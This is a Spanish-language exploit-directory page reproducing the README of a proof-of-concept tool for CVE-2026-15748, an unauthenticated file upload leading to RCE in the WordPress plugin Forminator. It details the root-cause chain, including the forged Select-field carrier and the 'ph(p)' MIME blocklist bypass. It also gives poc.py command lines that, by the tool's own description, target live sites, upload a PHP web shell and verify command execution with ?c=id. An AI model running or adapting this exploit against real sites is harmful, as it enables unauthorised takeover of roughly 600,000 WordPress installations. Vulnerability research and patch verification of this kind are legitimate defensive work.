Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-15748 — Forminator Forms <= 1.56.1 - Subida de archivos arbitraria no autenticada mediante configuración falsificada del campo de subida | Kitploit
Herramientas/GitHubGitHub/ubaydev/cve-2026-15748
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónRed Teaming
GitHububaydev/cve-2026-15748

CVE-2026-15748

Forminator Forms <= 1.56.1 - Subida de archivos arbitraria no autenticada mediante configuración falsificada del campo de subida

Ver Repositorio
17hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-15748 — Forminator Forms: subida arbitraria de archivos sin autenticación → RCE

CVSS 9.8 (Crítico) · Afectado: Forminator <= 1.56.1 · Parcheado: 1.56.2 Investigador: daroo (Wordfence Bug Bounty, $2,048) · ~600k instalaciones activas Informe: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/

Cadena de causa raíz

Tres debilidades encadenadas mediante un valor falsificado del campo Select:

  1. Sin saneamiento en los arrays de campos anidados — Forminator_CForm_Front_Action::set_field_data() prepare_fields_info() itera sobre cada campo almacenado. Para el campo Select almacenado select-1, $field_data = prepared_data['select-1'] (array anidado controlado por el atacante). Cuando contiene return, el array se añade a field_data_array en su totalidad (front-action.php ~línea 1088), antes de cualquier saneamiento/validación por campo. maybe_handle_custom_option() no los elimina.

  2. Configuración de campo no confiable tratada como confiable en la subida — Forminator_CForm_Front_Action::process_uploads() itera field_data_array, confía en field_type == 'upload' falsificado, usa el name falsificado para seleccionar una entrada $_FILES y pasa el field_array falsificado como configuración confiable a Forminator_Upload::handle_file_upload().

  3. Bypass de la lista negra por clave exacta — forminator_allowed_mime_types() elimina la clave literal php, pero wp_check_filetype() trata las claves como regex. La clave ph(p) sobrevive a la lista negra y aun así coincide con el sufijo .php. additional-type = ph(p)|text/x-php permite que un archivo .php pase la validación.

Condición de explotabilidad

Un formulario publicado debe contener tanto un campo de subida de archivos (File Upload) como un campo Select. Select es solo el portador.

Advertencia sobre la ejecución (VERIFICADO EN LABORATORIO)

  • La subida de un .php arbitrario al disco se realiza correctamente por defecto (no se necesita configuración especial para la escritura).
  • El RCE requiere que la raíz de subida carezca de un .htaccess de Apache. Tanto la raíz predeterminada de Forminator como una raíz personalizada reciben un .htaccess que bloquea PHP (SetHandler none / RemoveHandler). El RCE solo se activa cuando ese .htaccess no está presente — el escenario del informe: «raíz de almacenamiento personalizada creada durante una petición de frontend en la que insert_with_markers() no está cargado».
  • En el laboratorio logramos el RCE usando una raíz de almacenamiento personalizada y simulando el estado sin .htaccess.

Ruta de subida y hash (importante para pruebas en vivo)

  • Raíz predeterminada: wp-content/uploads/forminator/ → archivo en wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.
  • Raíz personalizada: si el administrador configura forminator_custom_upload_root (p. ej. cveuploads), los archivos se guardan en wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.
  • El <hash> es wp_hash($form_id) — derivado de las sales AUTH del sitio, por lo que no es predecible externamente. poc.py imprime el patrón de ruta; para completarlo debes recuperar el hash (listado de directorio, la URL/log de un archivo subido existente, una entrada en el panel de administración, etc.) mediante --form-hash.
  • Nombre del archivo subido = wp_generate_password(12,false,false) . '-' . <original> → p. ej. cX3fRjMDDu03-shell.php (12 caracteres alfanuméricos aleatorios + - + nombre original).

Uso — poc.py

Orientado a objetivos en vivo por diseño; los asistentes de laboratorio local (escaneo del FS de archivos, eliminación de .htaccess) están restringidos únicamente a http://wordpresslab.test / http://localhost.

# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/                       # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak                # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42         # append ?page_id=42

# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303

# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
    --verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"

# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell

Opciones

OpciónSignificado
--targetURL base (o URL completa de la página cuando no hay --page-id/modo manual)
--page-idID de la entrada; si está vacío, se obtiene la propia URL objetivo para el nonce/form_id
--form-id, --nonceomiten el descubrimiento; aun así obtienen la página para la recolección con --auto
--upload-fieldnombre real del campo de subida (por defecto upload-1)
--forge-nameportador $_FILES falsificado (por defecto = nombre real, modo de colisión; usa un nombre distinto para un success=True limpio)
--selectcampo select a usar (por defecto select-1)
--extra name=valuefuerza un valor de campo (repetible; --extra 'checkbox-1[]=a+b' para varios)
--auto / --no-autorecolecta los campos reales del formulario desde el HTML y autocompleta valores plausibles según el tipo (activado por defecto)
--upload-rootraíz de subida relativa (por defecto wp-content/uploads/forminator; p. ej. wp-content/uploads/cveuploads para raíz personalizada)
--form-hashla parte <hash> del directorio de subida → completa/imprime una URL concreta
--verify-urlen vivo: probar una URL de shell candidata con ?c=id/?c=whoami
--find-shellsolo local (wordpresslab.test/localhost): encuentra el *-shell.php más reciente, elimina .htaccess, ejecuta
--no-htaccessimprime la nota de eliminación de .htaccess del laboratorio local

Mapeo de valores de --auto (recolectados del HTML del formulario)

Tipo de campoValor generado
email / el nombre contiene emailauto<rand>@mailinator.com
tel / el nombre contiene phone10 dígitos aleatorios
url / el nombre contiene urlhttps://example.com/<rand>
numberaleatorio entre 1 y 9999
date2026-08-19
grupo checkbox/radio name[]valor de la primera opción (se examinan todas las entradas con el mismo nombre)
checkbox/radio individualatributo value, respaldo checked
<select> (no portador)primera opción no vacía
<textarea>texto aleatorio
texto plano10 caracteres aleatorios

Se omiten: campos internos (action/form_id/nonce/...), type="file" (upload-*), select-* (portador del exploit), calculation-* (calculados) y campos de plugins externos (wpforms[...]).

Reproducción en laboratorio (wordpresslab.test, WP 6.9.4 + Forminator 1.56.1)

Descargar herramienta